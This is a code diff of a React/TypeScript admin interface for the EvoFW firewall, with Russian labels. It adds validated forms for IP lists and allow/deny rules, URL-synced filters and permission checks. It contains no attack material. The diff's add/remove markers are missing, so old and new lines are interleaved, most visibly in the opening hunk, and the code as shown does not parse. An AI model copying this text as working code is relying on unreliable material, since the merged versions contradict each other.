<FieldLabel>BGP community</FieldLabel>
|
||||
<Autocomplete
|
||||
items={communityItems}
|
||||
value={extra}
|
||||
onValueChange={(v) => {
|
||||
setExtra(v)
|
||||
// Base UI {value,label}: input stores label by default —
|
||||
// keep UUID separately for config.community_id.
|
||||
// Preview: https://reui.io/preview/base/components/c-autocomplete-9
|
||||
// Docs: https://reui.io/docs/components/base/autocomplete
|
||||
// Base UI: https://base-ui.com/react/components/autocomplete
|
||||
setCommunityId(resolveCommunityId(v))
|
||||
}}
|
||||
itemToStringValue={(item) => item.label}
|
||||
>
|
||||
<AutocompleteInput
|
||||
placeholder={
|
||||
communitiesQ.isError
|
||||
? 'ID вручную (EvoBGP недоступен)'
|
||||
: 'Поиск community…'
|
||||
}
|
||||
showClear
|
||||
/>
|
||||
<AutocompleteContent>
|
||||
<AutocompleteEmpty>
|
||||
{communitiesQ.isLoading
|
||||
? 'Загрузка…'
|
||||
: 'Нет совпадений'}
|
||||
</AutocompleteEmpty>
|
||||
<AutocompleteList>
|
||||
{(item) => (
|
||||
<AutocompleteItem key={item.value} value={item}>
|
||||
{item.label}
|
||||
</AutocompleteItem>
|
||||
)}
|
||||
</AutocompleteList>
|
||||
</AutocompleteContent>
|
||||
</Autocomplete>
|
||||
</Field>
|
||||
) : null}
|
||||
</div>
|
||||
</ScrollArea>
|
||||
<SheetFooter className="mt-0 shrink-0 flex-row flex-wrap gap-2 border-t">
|
||||
<Button variant="outline" onClick={() => setCreateOpen(false)}>
|
||||
<FormSheet
|
||||
open={createOpen}
|
||||
onOpenChange={(open) => {
|
||||
setCreateOpenState(open)
|
||||
if (!open && createParam) {
|
||||
setListSearch({ create: false })
|
||||
}
|
||||
}}
|
||||
title="Новый список"
|
||||
description="После создания откроется страница со содержимым списка."
|
||||
form={createForm}
|
||||
onSubmit={async (values) => {
|
||||
await create.mutateAsync(values)
|
||||
}}
|
||||
footer={
|
||||
<>
|
||||
<Button
|
||||
type="button"
|
||||
variant="outline"
|
||||
onClick={() => setCreateOpenState(false)}
|
||||
>
|
||||
Отмена
|
||||
</Button>
|
||||
<LoadingButton
|
||||
disabled={!canCreate}
|
||||
isLoading={create.isPending}
|
||||
onClick={() => create.mutate()}
|
||||
>
|
||||
<LoadingButton type="submit" isLoading={create.isPending}>
|
||||
Создать
|
||||
</LoadingButton>
|
||||
</SheetFooter>
|
||||
</SheetContent>
|
||||
</Sheet>
|
||||
</>
|
||||
}
|
||||
>
|
||||
<Field
|
||||
data-invalid={Boolean(createForm.formState.errors.name) || undefined}
|
||||
>
|
||||
<FieldLabel htmlFor="list-name">Имя</FieldLabel>
|
||||
<Input
|
||||
id="list-name"
|
||||
placeholder="spamhaus-drop"
|
||||
{...createForm.register('name')}
|
||||
aria-invalid={
|
||||
Boolean(createForm.formState.errors.name) || undefined
|
||||
}
|
||||
/>
|
||||
<FieldError errors={[createForm.formState.errors.name]} />
|
||||
</Field>
|
||||
<Field>
|
||||
<FieldLabel>Источник</FieldLabel>
|
||||
<Controller
|
||||
control={createForm.control}
|
||||
name="source"
|
||||
render={({ field }) => (
|
||||
<Select
|
||||
items={[...CREATE_SOURCE_ITEMS]}
|
||||
value={field.value}
|
||||
onValueChange={(v) => {
|
||||
if (!v) return
|
||||
field.onChange(v)
|
||||
createForm.setValue('extra', '')
|
||||
}}
|
||||
>
|
||||
<SelectTrigger className="w-full">
|
||||
<SelectValue />
|
||||
</SelectTrigger>
|
||||
<SelectContent>
|
||||
{CREATE_SOURCE_ITEMS.map((item) => (
|
||||
<SelectItem key={item.value} value={item.value}>
|
||||
{item.label}
|
||||
</SelectItem>
|
||||
))}
|
||||
</SelectContent>
|
||||
</Select>
|
||||
)}
|
||||
/>
|
||||
</Field>
|
||||
{createSource === 'json_url' ? (
|
||||
<Field
|
||||
data-invalid={Boolean(createForm.formState.errors.extra) || undefined}
|
||||
>
|
||||
<FieldLabel htmlFor="list-url">URL JSON</FieldLabel>
|
||||
<Input
|
||||
id="list-url"
|
||||
placeholder="https://…"
|
||||
{...createForm.register('extra')}
|
||||
aria-invalid={
|
||||
Boolean(createForm.formState.errors.extra) || undefined
|
||||
}
|
||||
/>
|
||||
<FieldError errors={[createForm.formState.errors.extra]} />
|
||||
</Field>
|
||||
) : null}
|
||||
{createSource === 'evobgp_community' ? (
|
||||
<Field
|
||||
data-invalid={Boolean(createForm.formState.errors.extra) || undefined}
|
||||
>
|
||||
<FieldLabel>BGP community</FieldLabel>
|
||||
<Autocomplete
|
||||
items={communityItems}
|
||||
value={createExtra}
|
||||
onValueChange={(v) => {
|
||||
createForm.setValue('extra', v)
|
||||
// Base UI {value,label}: input stores label by default —
|
||||
// UUID резолвится на submit через resolveCommunityId.
|
||||
// Preview: https://reui.io/preview/base/components/c-autocomplete-9
|
||||
// Docs: https://reui.io/docs/components/base/autocomplete
|
||||
// Base UI: https://base-ui.com/react/components/autocomplete
|
||||
}}
|
||||
itemToStringValue={(item) => item.label}
|
||||
>
|
||||
<AutocompleteInput
|
||||
placeholder={
|
||||
communitiesQ.isError
|
||||
? 'ID вручную (EvoBGP недоступен)'
|
||||
: 'Поиск community…'
|
||||
}
|
||||
showClear
|
||||
/>
|
||||
<AutocompleteContent>
|
||||
<AutocompleteEmpty>
|
||||
{communitiesQ.isLoading ? 'Загрузка…' : 'Нет совпадений'}
|
||||
</AutocompleteEmpty>
|
||||
<AutocompleteList>
|
||||
{(item) => (
|
||||
<AutocompleteItem key={item.value} value={item}>
|
||||
{item.label}
|
||||
</AutocompleteItem>
|
||||
)}
|
||||
</AutocompleteList>
|
||||
</AutocompleteContent>
|
||||
</Autocomplete>
|
||||
<FieldError errors={[createForm.formState.errors.extra]} />
|
||||
</Field>
|
||||
) : null}
|
||||
</FormSheet>
|
||||
</PageShell>
|
||||
)
|
||||
}
|
||||
@@ -1,7 +1,12 @@
|
||||
import { createFileRoute, Link } from '@tanstack/react-router'
|
||||
import { useMutation, useQuery, useQueryClient } from '@tanstack/react-query'
|
||||
import { toast } from 'sonner'
|
||||
import { Controller, useForm } from 'react-hook-form'
|
||||
import { zodResolver } from '@hookform/resolvers/zod'
|
||||
import { z } from 'zod'
|
||||
import { parseListEntry } from '@evofw/shared'
|
||||
import {
|
||||
CircleAlertIcon,
|
||||
ListIcon,
|
||||
ShieldIcon,
|
||||
UsersIcon,
|
||||
@@ -9,10 +14,17 @@ import {
|
||||
import { useMemo, useState } from 'react'
|
||||
import type { ColumnDef, RowSelectionState } from '@tanstack/react-table'
|
||||
import { PageShell, DetailPanel } from '@/components/reui-kit'
|
||||
import {
|
||||
Alert,
|
||||
AlertDescription,
|
||||
AlertTitle,
|
||||
} from '@/components/reui/alert'
|
||||
import { DataGridColumnHeader } from '@/components/reui/data-grid/data-grid-column-header'
|
||||
import { DataGridPrimaryCell } from '@/components/data-grid-cell'
|
||||
import { StatusBadge } from '@/components/status-badge'
|
||||
import { ConfirmDialog } from '@/components/confirm-dialog'
|
||||
import { FormSheet } from '@/components/form-sheet'
|
||||
import { LoadingButton } from '@/components/loading-button'
|
||||
import { PolicyRulesSortable } from '@/components/rules/policy-rules-sortable'
|
||||
import {
|
||||
agentsQueryOptions,
|
||||
@@ -23,7 +35,7 @@ import {
|
||||
import { apiFetch } from '@/lib/api'
|
||||
import { Button } from '@evofw/ui/components/button'
|
||||
import { Checkbox } from '@evofw/ui/components/checkbox'
|
||||
import { Field, FieldLabel } from '@evofw/ui/components/field'
|
||||
import { Field, FieldError, FieldLabel } from '@evofw/ui/components/field'
|
||||
import { Input } from '@evofw/ui/components/input'
|
||||
import { Switch } from '@evofw/ui/components/switch'
|
||||
import {
|
||||
@@ -44,7 +56,7 @@ import {
|
||||
import { DataGrid } from '@/components/reui/data-grid/data-grid'
|
||||
import { DataGridTable } from '@/components/reui/data-grid/data-grid-table'
|
||||
import { getCoreRowModel, useReactTable } from '@tanstack/react-table'
|
||||
import type { Agent } from '@evofw/shared'
|
||||
import type { Agent, PolicySet } from '@evofw/shared'
|
||||
import { Skeleton } from '@evofw/ui/components/skeleton'
|
||||
import {
|
||||
Frame,
|
||||
@@ -66,6 +78,68 @@ export const Route = createFileRoute('/_auth/rules/$setId')({
|
||||
|
||||
type SourceKind = 'list' | 'cidr' | 'hostname'
|
||||
|
||||
const ruleSchema = z
|
||||
.object({
|
||||
action: z.enum(['allow', 'deny']),
|
||||
source: z.enum(['list', 'cidr', 'hostname']),
|
||||
listId: z.string(),
|
||||
value: z.string(),
|
||||
})
|
||||
.superRefine((v, ctx) => {
|
||||
if (v.source === 'list') {
|
||||
if (!v.listId) {
|
||||
ctx.addIssue({
|
||||
code: 'custom',
|
||||
path: ['listId'],
|
||||
message: 'Выберите список',
|
||||
})
|
||||
}
|
||||
return
|
||||
}
|
||||
const raw = v.value.trim()
|
||||
if (!raw) {
|
||||
ctx.addIssue({
|
||||
code: 'custom',
|
||||
path: ['value'],
|
||||
message: v.source === 'cidr' ? 'Укажите CIDR' : 'Укажите DNS-имя',
|
||||
})
|
||||
return
|
||||
}
|
||||
let parsed: ReturnType<typeof parseListEntry> | null = null
|
||||
try {
|
||||
parsed = parseListEntry(raw)
|
||||
} catch {
|
||||
parsed = null
|
||||
}
|
||||
if (v.source === 'cidr' && (!parsed || (parsed.kind !== 'cidr' && parsed.kind !== 'ip'))) {
|
||||
ctx.addIssue({
|
||||
code: 'custom',
|
||||
path: ['value'],
|
||||
message: 'Ожидается CIDR, например 203.0.113.0/24',
|
||||
})
|
||||
}
|
||||
if (v.source === 'hostname' && (!parsed || parsed.kind !== 'hostname')) {
|
||||
ctx.addIssue({
|
||||
code: 'custom',
|
||||
path: ['value'],
|
||||
message: 'Ожидается DNS-имя, например bad.example.com',
|
||||
})
|
||||
}
|
||||
})
|
||||
|
||||
type RuleValues = z.infer<typeof ruleSchema>
|
||||
|
||||
const RULE_ACTION_ITEMS = [
|
||||
{ value: 'deny', label: 'deny — блокировать' },
|
||||
{ value: 'allow', label: 'allow — пропускать' },
|
||||
] as const
|
||||
|
||||
const RULE_SOURCE_ITEMS = [
|
||||
{ value: 'cidr', label: 'CIDR / IP' },
|
||||
{ value: 'hostname', label: 'DNS-имя' },
|
||||
{ value: 'list', label: 'IP-список' },
|
||||
] as const
|
||||
|
||||
/**
|
||||
* Policy set detail — Sortable rules (ReUI PRO) + agents.
|
||||
* Preview: https://reui.io/preview/base/components/c-sortable-5 · settings-8 · settings-3
|
||||
@@ -80,14 +154,16 @@ function PolicySetDetailPage() {
|
||||
const listsQ = useQuery(listsQueryOptions())
|
||||
|
||||
const [ruleOpen, setRuleOpen] = useState(false)
|
||||
const [action, setAction] = useState<'allow' | 'deny'>('deny')
|
||||
const [source, setSource] = useState<SourceKind>('cidr')
|
||||
const [listId, setListId] = useState('')
|
||||
const [cidr, setCidr] = useState('')
|
||||
const [hostname, setHostname] = useState('')
|
||||
const [selectedAgents, setSelectedAgents] = useState<string[] | null>(null)
|
||||
const [deleteRuleId, setDeleteRuleId] = useState<string | null>(null)
|
||||
|
||||
const ruleForm = useForm<RuleValues>({
|
||||
resolver: zodResolver(ruleSchema),
|
||||
defaultValues: { action: 'deny', source: 'cidr', listId: '', value: '' },
|
||||
mode: 'onBlur',
|
||||
})
|
||||
const ruleSource = ruleForm.watch('source')
|
||||
|
||||
const assignedIds = selectedAgents ?? setQ.data?.agent_ids ?? []
|
||||
|
||||
const approvedAgents = useMemo(
|
||||
@@ -107,33 +183,33 @@ function PolicySetDetailPage() {
|
||||
method: 'PATCH',
|
||||
body: JSON.stringify(body),
|
||||
}),
|
||||
onMutate: (body) => {
|
||||
const key = ['policy-sets', setId] as const
|
||||
const prev = qc.getQueryData<PolicySet & { agent_ids: string[] }>(key)
|
||||
if (prev && body.enabled !== undefined) {
|
||||
qc.setQueryData(key, { ...prev, enabled: body.enabled })
|
||||
}
|
||||
return () => {
|
||||
if (prev) qc.setQueryData(key, prev)
|
||||
}
|
||||
},
|
||||
onSuccess: () => {
|
||||
toast.success('Набор обновлён')
|
||||
void qc.invalidateQueries({ queryKey: ['policy-sets'] })
|
||||
void qc.invalidateQueries({ queryKey: ['agents'] })
|
||||
},
|
||||
onError: (e: Error) => toast.error(e.message),
|
||||
onError: (e: Error, _body, rollback) => {
|
||||
rollback?.()
|
||||
toast.error(e.message)
|
||||
},
|
||||
})
|
||||
|
||||
const saveAgents = useMutation({
|
||||
mutationFn: async () => {
|
||||
const allAgents = agentsQ.data?.items ?? []
|
||||
await Promise.all(
|
||||
allAgents.map(async (a) => {
|
||||
const current = await apiFetch<{
|
||||
items: { set_id: string }[]
|
||||
}>(`/api/v1/agents/${a.id}/policy-sets`)
|
||||
const others = current.items
|
||||
.map((i) => i.set_id)
|
||||
.filter((id) => id !== setId)
|
||||
const next = assignedIds.includes(a.id) ? [...others, setId] : others
|
||||
await apiFetch(`/api/v1/agents/${a.id}/policy-sets`, {
|
||||
method: 'PUT',
|
||||
body: JSON.stringify({ set_ids: next }),
|
||||
})
|
||||
}),
|
||||
)
|
||||
},
|
||||
mutationFn: () =>
|
||||
apiFetch(`/api/v1/policy-sets/${setId}/agents`, {
|
||||
method: 'PUT',
|
||||
body: JSON.stringify({ agent_ids: assignedIds }),
|
||||
}),
|
||||
onSuccess: () => {
|
||||
toast.success('Назначение агентов сохранено')
|
||||
setSelectedAgents(null)
|
||||
@@ -144,14 +220,16 @@ function PolicySetDetailPage() {
|
||||
})
|
||||
|
||||
const createRule = useMutation({
|
||||
mutationFn: () => {
|
||||
mutationFn: (values: RuleValues) => {
|
||||
const body: Record<string, unknown> = {
|
||||
set_id: setId,
|
||||
action,
|
||||
action: values.action,
|
||||
}
|
||||
if (values.source === 'list') body.list_id = values.listId
|
||||
if (values.source === 'cidr') body.cidr = values.value.trim()
|
||||
if (values.source === 'hostname') {
|
||||
body.hostname = values.value.trim().toLowerCase()
|
||||
}
|
||||
if (source === 'list') body.list_id = listId
|
||||
if (source === 'cidr') body.cidr = cidr.trim()
|
||||
if (source === 'hostname') body.hostname = hostname.trim()
|
||||
return apiFetch('/api/v1/rules', {
|
||||
method: 'POST',
|
||||
body: JSON.stringify(body),
|
||||
@@ -160,9 +238,7 @@ function PolicySetDetailPage() {
|
||||
onSuccess: () => {
|
||||
toast.success('Правило создано')
|
||||
setRuleOpen(false)
|
||||
setCidr('')
|
||||
setHostname('')
|
||||
setListId('')
|
||||
ruleForm.reset()
|
||||
void qc.invalidateQueries({ queryKey: ['policy-sets', setId] })
|
||||
},
|
||||
onError: (e: Error) => toast.error(e.message),
|
||||
@@ -255,13 +331,6 @@ function PolicySetDetailPage() {
|
||||
state: { rowSelection: agentRowSelection },
|
||||
})
|
||||
|
||||
const canCreate =
|
||||
source === 'list'
|
||||
? Boolean(listId)
|
||||
: source === 'cidr'
|
||||
? Boolean(cidr.trim())
|
||||
: Boolean(hostname.trim())
|
||||
|
||||
if (setQ.isLoading) {
|
||||
return (
|
||||
<PageShell>
|
||||
@@ -271,6 +340,31 @@ function PolicySetDetailPage() {
|
||||
)
|
||||
}
|
||||
|
||||
if (setQ.isError) {
|
||||
return (
|
||||
<PageShell>
|
||||
<Alert variant="destructive">
|
||||
<CircleAlertIcon />
|
||||
<AlertTitle>Ошибка загрузки</AlertTitle>
|
||||
<AlertDescription className="flex flex-col gap-2">
|
||||
<span>
|
||||
{setQ.error?.message ?? 'Не удалось загрузить набор правил'}
|
||||
</span>
|
||||
<Button
|
||||
type="button"
|
||||
variant="outline"
|
||||
size="sm"
|
||||
className="w-fit"
|
||||
onClick={() => void setQ.refetch()}
|
||||
>
|
||||
Повторить
|
||||
</Button>
|
||||
</AlertDescription>
|
||||
</Alert>
|
||||
</PageShell>
|
||||
)
|
||||
}
|
||||
|
||||
if (!setQ.data) {
|
||||
return (
|
||||
<PageShell>
|
||||
@@ -411,57 +505,103 @@ function PolicySetDetailPage() {
|
||||
disabled={removeRule.isPending}
|
||||
/>
|
||||
|
||||
<Sheet open={ruleOpen} onOpenChange={setRuleOpen}>
|
||||
<SheetContent className="flex flex-col gap-0 overflow-hidden sm:max-w-md">
|
||||
<SheetHeader className="shrink-0">
|
||||
<SheetTitle>Новое правило</SheetTitle>
|
||||
<SheetDescription>
|
||||
Один источник: список, CIDR или DNS-имя (priority — в конец)
|
||||
</SheetDescription>
|
||||
</SheetHeader>
|
||||
<div className="grid flex-1 auto-rows-min gap-4 overflow-y-auto px-4">
|
||||
<Field>
|
||||
<FieldLabel>Action</FieldLabel>
|
||||
<FormSheet
|
||||
open={ruleOpen}
|
||||
onOpenChange={(open) => {
|
||||
setRuleOpen(open)
|
||||
if (!open) ruleForm.reset()
|
||||
}}
|
||||
title="Новое правило"
|
||||
description="Один источник: список, CIDR или DNS-имя (priority — в конец)"
|
||||
form={ruleForm}
|
||||
onSubmit={async (values) => {
|
||||
await createRule.mutateAsync(values)
|
||||
}}
|
||||
footer={
|
||||
<>
|
||||
<Button
|
||||
type="button"
|
||||
variant="outline"
|
||||
onClick={() => setRuleOpen(false)}
|
||||
>
|
||||
Отмена
|
||||
</Button>
|
||||
<LoadingButton type="submit" isLoading={createRule.isPending}>
|
||||
Создать
|
||||
</LoadingButton>
|
||||
</>
|
||||
}
|
||||
>
|
||||
<Field>
|
||||
<FieldLabel>Действие</FieldLabel>
|
||||
<Controller
|
||||
control={ruleForm.control}
|
||||
name="action"
|
||||
render={({ field }) => (
|
||||
<Select
|
||||
value={action}
|
||||
items={RULE_ACTION_ITEMS}
|
||||
value={field.value}
|
||||
onValueChange={(v) => {
|
||||
if (v) setAction(v as 'allow' | 'deny')
|
||||
if (v === 'allow' || v === 'deny') field.onChange(v)
|
||||
}}
|
||||
>
|
||||
<SelectTrigger className="w-full">
|
||||
<SelectValue />
|
||||
</SelectTrigger>
|
||||
<SelectContent>
|
||||
<SelectItem value="deny">deny</SelectItem>
|
||||
<SelectItem value="allow">allow</SelectItem>
|
||||
{RULE_ACTION_ITEMS.map((item) => (
|
||||
<SelectItem key={item.value} value={item.value}>
|
||||
{item.label}
|
||||
</SelectItem>
|
||||
))}
|
||||
</SelectContent>
|
||||
</Select>
|
||||
</Field>
|
||||
<Field>
|
||||
<FieldLabel>Источник</FieldLabel>
|
||||
)}
|
||||
/>
|
||||
</Field>
|
||||
<Field>
|
||||
<FieldLabel>Источник</FieldLabel>
|
||||
<Controller
|
||||
control={ruleForm.control}
|
||||
name="source"
|
||||
render={({ field }) => (
|
||||
<Select
|
||||
value={source}
|
||||
items={[...RULE_SOURCE_ITEMS]}
|
||||
value={field.value}
|
||||
onValueChange={(v) => {
|
||||
if (v) setSource(v as SourceKind)
|
||||
if (v === 'list' || v === 'cidr' || v === 'hostname') {
|
||||
field.onChange(v)
|
||||
ruleForm.setValue('value', '')
|
||||
}
|
||||
}}
|
||||
>
|
||||
<SelectTrigger className="w-full">
|
||||
<SelectValue />
|
||||
</SelectTrigger>
|
||||
<SelectContent>
|
||||
<SelectItem value="cidr">CIDR / IP</SelectItem>
|
||||
<SelectItem value="hostname">DNS-имя</SelectItem>
|
||||
<SelectItem value="list">IP-список</SelectItem>
|
||||
{RULE_SOURCE_ITEMS.map((item) => (
|
||||
<SelectItem key={item.value} value={item.value}>
|
||||
{item.label}
|
||||
</SelectItem>
|
||||
))}
|
||||
</SelectContent>
|
||||
</Select>
|
||||
</Field>
|
||||
{source === 'list' ? (
|
||||
<Field>
|
||||
<FieldLabel>Список</FieldLabel>
|
||||
)}
|
||||
/>
|
||||
</Field>
|
||||
{ruleSource === 'list' ? (
|
||||
<Field
|
||||
data-invalid={Boolean(ruleForm.formState.errors.listId) || undefined}
|
||||
>
|
||||
<FieldLabel>Список</FieldLabel>
|
||||
<Controller
|
||||
control={ruleForm.control}
|
||||
name="listId"
|
||||
render={({ field }) => (
|
||||
<Select
|
||||
items={listSelectItems}
|
||||
value={listId || null}
|
||||
onValueChange={(v) => setListId(v ?? '')}
|
||||
value={field.value || null}
|
||||
onValueChange={(v) => field.onChange(v ?? '')}
|
||||
>
|
||||
<SelectTrigger className="w-full">
|
||||
<SelectValue placeholder="Выберите список" />
|
||||
@@ -474,44 +614,44 @@ function PolicySetDetailPage() {
|
||||
))}
|
||||
</SelectContent>
|
||||
</Select>
|
||||
</Field>
|
||||
) : null}
|
||||
{source === 'cidr' ? (
|
||||
<Field>
|
||||
<FieldLabel htmlFor="cidr">CIDR</FieldLabel>
|
||||
<Input
|
||||
id="cidr"
|
||||
value={cidr}
|
||||
onChange={(e) => setCidr(e.target.value)}
|
||||
placeholder="203.0.113.0/24"
|
||||
/>
|
||||
</Field>
|
||||
) : null}
|
||||
{source === 'hostname' ? (
|
||||
<Field>
|
||||
<FieldLabel htmlFor="host">DNS-имя</FieldLabel>
|
||||
<Input
|
||||
id="host"
|
||||
value={hostname}
|
||||
onChange={(e) => setHostname(e.target.value)}
|
||||
placeholder="bad.example.com"
|
||||
/>
|
||||
</Field>
|
||||
) : null}
|
||||
</div>
|
||||
<SheetFooter className="mt-0 shrink-0 flex-row flex-wrap gap-2 border-t">
|
||||
<Button variant="outline" onClick={() => setRuleOpen(false)}>
|
||||
Отмена
|
||||
</Button>
|
||||
<Button
|
||||
disabled={!canCreate || createRule.isPending}
|
||||
onClick={() => createRule.mutate()}
|
||||
>
|
||||
Создать
|
||||
</Button>
|
||||
</SheetFooter>
|
||||
</SheetContent>
|
||||
</Sheet>
|
||||
)}
|
||||
/>
|
||||
<FieldError errors={[ruleForm.formState.errors.listId]} />
|
||||
</Field>
|
||||
) : null}
|
||||
{ruleSource === 'cidr' ? (
|
||||
<Field
|
||||
data-invalid={Boolean(ruleForm.formState.errors.value) || undefined}
|
||||
>
|
||||
<FieldLabel htmlFor="rule-cidr">CIDR</FieldLabel>
|
||||
<Input
|
||||
id="rule-cidr"
|
||||
placeholder="203.0.113.0/24"
|
||||
{...ruleForm.register('value')}
|
||||
aria-invalid={
|
||||
Boolean(ruleForm.formState.errors.value) || undefined
|
||||
}
|
||||
/>
|
||||
<FieldError errors={[ruleForm.formState.errors.value]} />
|
||||
</Field>
|
||||
) : null}
|
||||
{ruleSource === 'hostname' ? (
|
||||
<Field
|
||||
data-invalid={Boolean(ruleForm.formState.errors.value) || undefined}
|
||||
>
|
||||
<FieldLabel htmlFor="rule-host">DNS-имя</FieldLabel>
|
||||
<Input
|
||||
id="rule-host"
|
||||
placeholder="bad.example.com"
|
||||
{...ruleForm.register('value')}
|
||||
aria-invalid={
|
||||
Boolean(ruleForm.formState.errors.value) || undefined
|
||||
}
|
||||
/>
|
||||
<FieldError errors={[ruleForm.formState.errors.value]} />
|
||||
</Field>
|
||||
) : null}
|
||||
</FormSheet>
|
||||
</PageShell>
|
||||
)
|
||||
}
|
||||
@@ -5,6 +5,7 @@ import { createFileRoute, useNavigate } from '@tanstack/react-router'
|
||||
import { useMutation, useQuery, useQueryClient } from '@tanstack/react-query'
|
||||
import { toast } from 'sonner'
|
||||
import type { Filter, FilterFieldConfig } from '@/components/reui/filters'
|
||||
import { searchToFilters, searchToFlag, searchToQ } from '@/lib/search-params'
|
||||
import { PageHeader, PageShell, ResourcePage } from '@/components/reui-kit'
|
||||
import { DataGridColumnHeader } from '@/components/reui/data-grid/data-grid-column-header'
|
||||
import { DataGridPrimaryCell } from '@/components/data-grid-cell'
|
||||
@@ -13,6 +14,7 @@ import { ConfirmDialog } from '@/components/confirm-dialog'
|
||||
import { PolicySetIcon } from '@/components/rules/policy-set-icon'
|
||||
import { policySetsQueryOptions } from '@/queries'
|
||||
import { apiFetch } from '@/lib/api'
|
||||
import { useCan } from '@/lib/permissions'
|
||||
import { Button } from '@evofw/ui/components/button'
|
||||
import { Field, FieldLabel } from '@evofw/ui/components/field'
|
||||
import { Input } from '@evofw/ui/components/input'
|
||||
@@ -27,7 +29,24 @@ import {
|
||||
} from '@evofw/ui/components/sheet'
|
||||
import type { PolicySet } from '@evofw/shared'
|
||||
|
||||
type RulesSearch = {
|
||||
create?: boolean
|
||||
q?: string
|
||||
f?: Filter[]
|
||||
}
|
||||
|
||||
/** URL-состояние страницы: create/q/f (deep-link и refresh сохраняют вид). */
|
||||
function parseRulesSearch(search: Record<string, unknown>): RulesSearch {
|
||||
const f = searchToFilters(search.f)
|
||||
return {
|
||||
create: searchToFlag(search.create),
|
||||
q: searchToQ(search.q),
|
||||
f: f.length > 0 ? f : undefined,
|
||||
}
|
||||
}
|
||||
|
||||
export const Route = createFileRoute('/_auth/rules/')({
|
||||
validateSearch: parseRulesSearch,
|
||||
component: PolicySetsPage,
|
||||
})
|
||||
|
||||
@@ -38,14 +57,37 @@ export const Route = createFileRoute('/_auth/rules/')({
|
||||
* Create sheet: https://reui.io/preview/base/sheet-8
|
||||
*/
|
||||
function PolicySetsPage() {
|
||||
const navigate = useNavigate()
|
||||
const navigate = useNavigate({ from: Route.fullPath })
|
||||
const qc = useQueryClient()
|
||||
const setsQ = useQuery(policySetsQueryOptions())
|
||||
const [sheetOpen, setSheetOpen] = useState(false)
|
||||
const { create: createParam, q: qParam, f: fParam } = Route.useSearch()
|
||||
const searchQuery = qParam ?? ''
|
||||
const filters = fParam ?? []
|
||||
const [sheetOpenState, setSheetOpenState] = useState(false)
|
||||
const sheetOpen = sheetOpenState || createParam === true
|
||||
|
||||
/** Обновление URL-состояния (q/f) без перезагрузки. */
|
||||
const setRulesSearch = useCallback(
|
||||
(next: { q?: string; f?: Filter[]; create?: boolean }) => {
|
||||
void navigate({
|
||||
search: (prev) => {
|
||||
const base = parseRulesSearch(prev as Record<string, unknown>)
|
||||
return {
|
||||
create:
|
||||
next.create !== undefined
|
||||
? next.create || undefined
|
||||
: base.create,
|
||||
q: next.q !== undefined ? searchToQ(next.q) : base.q,
|
||||
f: next.f !== undefined ? next.f : base.f,
|
||||
}
|
||||
},
|
||||
replace: true,
|
||||
})
|
||||
},
|
||||
[navigate],
|
||||
)
|
||||
const [name, setName] = useState('')
|
||||
const [description, setDescription] = useState('')
|
||||
const [filters, setFilters] = useState<Filter[]>([])
|
||||
const [searchQuery, setSearchQuery] = useState('')
|
||||
const [deleteId, setDeleteId] = useState<string | null>(null)
|
||||
|
||||
const create = useMutation({
|
||||
@@ -62,7 +104,7 @@ function PolicySetsPage() {
|
||||
toast.success('Набор создан')
|
||||
setName('')
|
||||
setDescription('')
|
||||
setSheetOpen(false)
|
||||
setSheetOpenState(false)
|
||||
void qc.invalidateQueries({ queryKey: ['policy-sets'] })
|
||||
void navigate({ to: '/rules/$setId', params: { setId: row.id } })
|
||||
},
|
||||
@@ -200,12 +242,13 @@ function PolicySetsPage() {
|
||||
[navigate],
|
||||
)
|
||||
|
||||
const addButton = (
|
||||
<Button size="sm" onClick={() => setSheetOpen(true)}>
|
||||
const canCreate = useCan()('fw:policies:write')
|
||||
const addButton = canCreate ? (
|
||||
<Button size="sm" onClick={() => setSheetOpenState(true)}>
|
||||
<Plus data-icon="inline-start" />
|
||||
Новый набор
|
||||
</Button>
|
||||
)
|
||||
) : null
|
||||
|
||||
return (
|
||||
<PageShell>
|
||||
@@ -223,11 +266,11 @@ function PolicySetsPage() {
|
||||
getRowId={(r) => r.id}
|
||||
filterFields={filterFields}
|
||||
filters={filters}
|
||||
onFiltersChange={setFilters}
|
||||
onClearFilters={() => setFilters([])}
|
||||
onFiltersChange={(f) => setRulesSearch({ f })}
|
||||
onClearFilters={() => setRulesSearch({ f: [], q: '' })}
|
||||
getFilterFieldValue={getFilterFieldValue}
|
||||
searchQuery={searchQuery}
|
||||
onSearchChange={setSearchQuery}
|
||||
onSearchChange={(q) => setRulesSearch({ q })}
|
||||
searchPlaceholder="Поиск наборов…"
|
||||
getSearchText={getSearchText}
|
||||
isLoading={setsQ.isLoading}
|
||||
@@ -258,7 +301,15 @@ function PolicySetsPage() {
|
||||
disabled={remove.isPending}
|
||||
/>
|
||||
|
||||
<Sheet open={sheetOpen} onOpenChange={setSheetOpen}>
|
||||
<Sheet
|
||||
open={sheetOpen}
|
||||
onOpenChange={(open) => {
|
||||
setSheetOpenState(open)
|
||||
if (!open && createParam) {
|
||||
void navigate({ to: '/rules', search: { create: undefined }, replace: true })
|
||||
}
|
||||
}}
|
||||
>
|
||||
<SheetContent className="flex flex-col gap-0 overflow-hidden sm:max-w-md">
|
||||
<SheetHeader className="shrink-0">
|
||||
<SheetTitle>Новый набор</SheetTitle>
|
||||
@@ -287,7 +338,7 @@ function PolicySetsPage() {
|
||||
</Field>
|
||||
</div>
|
||||
<SheetFooter className="mt-0 shrink-0 flex-row flex-wrap gap-2 border-t">
|
||||
<Button variant="outline" onClick={() => setSheetOpen(false)}>
|
||||
<Button variant="outline" onClick={() => setSheetOpenState(false)}>
|
||||
Отмена
|
||||
</Button>
|
||||
<Button
|
||||
|
||||
@@ -1,8 +1,13 @@
|
||||
import { createFileRoute } from '@tanstack/react-router'
|
||||
import { useMutation, useQuery, useQueryClient } from '@tanstack/react-query'
|
||||
import { toast } from 'sonner'
|
||||
import { Controller, useForm } from 'react-hook-form'
|
||||
import { zodResolver } from '@hookform/resolvers/zod'
|
||||
import { z } from 'zod'
|
||||
import { useEffect, useState } from 'react'
|
||||
import { EyeIcon, EyeOffIcon } from 'lucide-react'
|
||||
import { PageHeader, PageShell } from '@/components/reui-kit'
|
||||
import { Badge } from '@/components/reui/badge'
|
||||
import {
|
||||
Frame,
|
||||
FrameDescription,
|
||||
@@ -14,12 +19,15 @@ import { LoadingButton } from '@/components/loading-button'
|
||||
import { SettingRow } from '@/components/setting-row'
|
||||
import { settingsQueryOptions } from '@/queries'
|
||||
import { apiFetch } from '@/lib/api'
|
||||
import { useCan } from '@/lib/permissions'
|
||||
import { Button } from '@evofw/ui/components/button'
|
||||
import { Field, FieldError } from '@evofw/ui/components/field'
|
||||
